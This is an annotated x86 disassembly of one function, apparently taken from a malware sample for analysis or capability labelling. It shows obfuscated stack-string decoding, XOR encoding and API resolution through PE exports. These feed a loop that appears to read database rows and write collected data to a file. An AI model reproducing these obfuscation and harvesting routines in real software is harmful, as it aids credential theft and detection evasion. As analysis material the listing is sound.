Function at 0x415501
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x180
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0xe4], ecx
call fcn.00419bf5
mov esi, eax
test esi, esi
je 0x415ab7
xor ebx, ebx
mov dword [esp + 0x20], 0x132a23dc
mov dword [esp + 0x24], 0x2226261a
mov ecx, ebx
mov dword [esp + 0x28], 0xe52a1c20
mov edx, 0xff
mov dword [esp + 0x2c], 0x2023282a
mov word [esp + 0x30], 0x1c2b
movzx eax, byte [esp + ecx + 0x20]
add ax, 0x49
and ax, dx
mov word [esp + ecx*2 + 0x118], ax
inc ecx
cmp ecx, 0x12
jl 0x415553
xor eax, eax
mov word [esp + 0x13c], ax
lea eax, [esp + 0x118]
push edi
push eax
call fcn.0041b737
mov edi, eax
mov dword [esp + 0xd4], edi
pop ecx
pop ecx
test edi, edi
je 0x415ab7
mov ecx, edi
call fcn.0041b791
mov ebp, eax
test ebp, ebp
je 0x415ab0
xor edx, edx
mov ecx, ebp
call fcn.0041b9fd
mov dword [esp + 0xe8], eax
test eax, eax
je 0x415a99
push ebx
push 1
lea ecx, [esp + 0xd8]
push ecx
push eax
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x415a81
mov dword [esp + 0x34], 0x10b0c23
mov ecx, ebx
mov dword [esp + 0x38], 0x6000245
mov dword [esp + 0x3c], 0x6450a0e
mov dword [esp + 0x40], 0xc0e0a0a
mov dword [esp + 0x44], 0x1451600
mov dword [esp + 0x48], 0x9404507
mov word [esp + 0x4c], 0x6f16
mov al, byte [esp + ecx + 0x34]
xor al, 0x65
mov byte [esp + ecx + 0xfc], al
inc ecx
cmp ecx, 0x1a
jl 0x415614
mov byte [esp + 0x116], bl
mov ecx, ebx
mov dword [esp + 0x78], 0xc1c8c1cf
mov dword [esp + 0x7c], 0xe49cd0bf
mov dword [esp + 0x80], 0xa8f0efeb
mov dword [esp + 0x84], 0xc4efe59c
mov dword [esp + 0x88], 0xcbecf0f0
mov dword [esp + 0x8c], 0xa8f5e8ea
mov dword [esp + 0x90], 0xf0ddec9c
mov dword [esp + 0x94], 0xe59ca8e4
mov dword [esp + 0x98], 0xdfe1cfef
mov dword [esp + 0x9c], 0xa8e1eef1
mov dword [esp + 0xa0], 0xecf4e19c
mov dword [esp + 0xa4], 0xa8f5eee5
mov dword [esp + 0xa8], 0xe9ddea9c
mov dword [esp + 0xac], 0xf29ca8e1
mov dword [esp + 0xb0], 0xe1f1e8dd
mov dword [esp + 0xb4], 0xcbcec29c
mov dword [esp + 0xb8], 0xebe99cc9
mov dword [esp + 0xbc], 0xebdfdbf6
mov dword [esp + 0xc0], 0xe1e5e7eb
mov byte [esp + 0xc4], 0xef
mov al, byte [esp + ecx + 0x78]
sub al, 0x7c
mov byte [esp + ecx + 0x140], al
inc ecx
cmp ecx, 0x4d
jl 0x415703
lea eax, [esp + 0xfc]
mov byte [esp + 0x18d], bl
push edi
push eax
call fcn.004125f4
push ebx
lea eax, [esp + 0x20]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x154]
push eax
push dword [esp + 0xe8]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x415a79
push dword [esp + 0x14]
lea edi, [esp + 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4159da
mov dword [esp + 0x58], 0xc2bfc176
mov word [esp + 0x5c], 0x76b2
mov dword [esp + 0x68], 0x5a57501f
mov word [esp + 0x6c], 0x5345
mov byte [esp + 0x6e], 0x1f
mov dword [esp + 0x60], 0x888f89d4
mov word [esp + 0x64], 0xd498
mov dword [esp + 0x70], 0x5faffc2
mov word [esp + 0x74], 0xfe0c
mov byte [esp + 0x76], 0xc2
mov word [esp + 0x50], 0x3639
mov ecx, ebx
mov al, byte [esp + ecx + 0x58]
sub al, 0x6d
mov byte [esp + ecx + 0xd4], al
inc ecx
cmp ecx, 6
jl 0x4157b7
mov byte [esp + 0xda], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x68]
xor al, 0x16
mov byte [esp + ecx + 0xec], al
inc ecx
cmp ecx, 7
jl 0x4157d3
mov byte [esp + 0xf3], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x60]
xor al, 0xdd
mov byte [esp + ecx + 0xdc], al
inc ecx
cmp ecx, 6
jl 0x4157ef
mov byte [esp + 0xe2], bl
mov ecx, ebx
mov al, byte [esp + ecx + 0x70]
add al, 0x47
mov byte [esp + ecx + 0xf4], al
inc ecx
cmp ecx, 7
jl 0x41580b
mov byte [esp + 0xfb], bl
mov ecx, ebx
mov word [esp + 0x18], 9
mov word [esp + 0x1c], 9
mov al, byte [esp + ecx + 0x50]
sub al, 0x2c
mov byte [esp + ecx + 0x54], al
inc ecx
cmp ecx, 2
jl 0x415835
push ebx
push dword [esp + 0x18]
mov byte [esp + 0x5e], bl
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push ebx
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041b9d5
pop ecx
push 1
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x415889
cmp byte [eax], 0x31
jne 0x415889
lea edi, [esp + 0xd4]
mov eax, edi
jmp 0x415892
lea edi, [esp + 0xec]
mov eax, edi
push eax
call fcn.00405b40
mov edx, edi
lea edi, [esp + 0x24]
pop ecx
push eax
mov ecx, edi
call fcn.0041b87a
pop ecx
push 2
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0041b9d5
pop ecx
push 3
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x4158ed
cmp byte [eax], 0x31
jne 0x4158ed
lea eax, [esp + 0xdc]
mov dword [esp + 0xc8], eax
jmp 0x4158fb
lea eax, [esp + 0xf4]
mov dword [esp + 0xc8], eax
push eax
call fcn.00405b40
mov edx, dword [esp + 0xcc]
pop ecx
push eax
mov ecx, edi
call fcn.0041b87a
pop ecx
push 4
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041b9d5
pop ecx
lea eax, [esp + 0x18]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x24]
call fcn.0041b87a
pop ecx
push 5
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041b9d5
pop ecx
lea eax, [esp + 0x1c]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x20]
lea ecx, [esp + 0x24]
call fcn.0041b87a
pop ecx
push 6
push dword [esp + 0x18]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 6
push dword [esp + 0x1c]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.0041b9d5
pop ecx
lea eax, [esp + 0x54]
push eax
call fcn.00405b40
pop ecx
push eax
lea edx, [esp + 0x58]
lea ecx, [esp + 0x24]
call fcn.0041b87a
pop ecx
push dword [esp + 0x14]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x4157b5
cmp dword [esp + 0x20], ebx
je 0x415a72
mov dword [esp + 0x34], 0x2a2e2e02
mov dword [esp + 0x38], 0x6e322428
mov dword [esp + 0x3c], 0x1e322d64
mov dword [esp + 0x40], 0x6f322d64
mov word [esp + 0x44], 0x3935
mov byte [esp + 0x46], 0x35
mov al, byte [esp + ebx + 0x34]
xor al, 0x41
movzx eax, al
mov word [esp + ebx*2 + 0x78], ax
inc ebx
cmp ebx, 0x13
jl 0x415a10
push dword [esp + 0x194]
xor eax, eax
push dword [esp + 0xe8]
mov word [esp + 0xa6], ax
lea eax, [esp + 0x80]
push eax
call fcn.0041b737
mov edi, eax
add esp, 0xc
test edi, edi
je 0x415a68
mov edx, dword [esp + 0x28]
mov ecx, dword [esp + 0x20]
push edi
call fcn.00418be5
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x20]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0xcc]
push dword [esp + 0x14]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0xd0]
call dword [esi + 0x1c]
pop ecx
push dword [esp + 0xe8]
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.00412ca7
call eax
push ebp
call fcn.004056f0
pop ecx
push edi
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x180
ret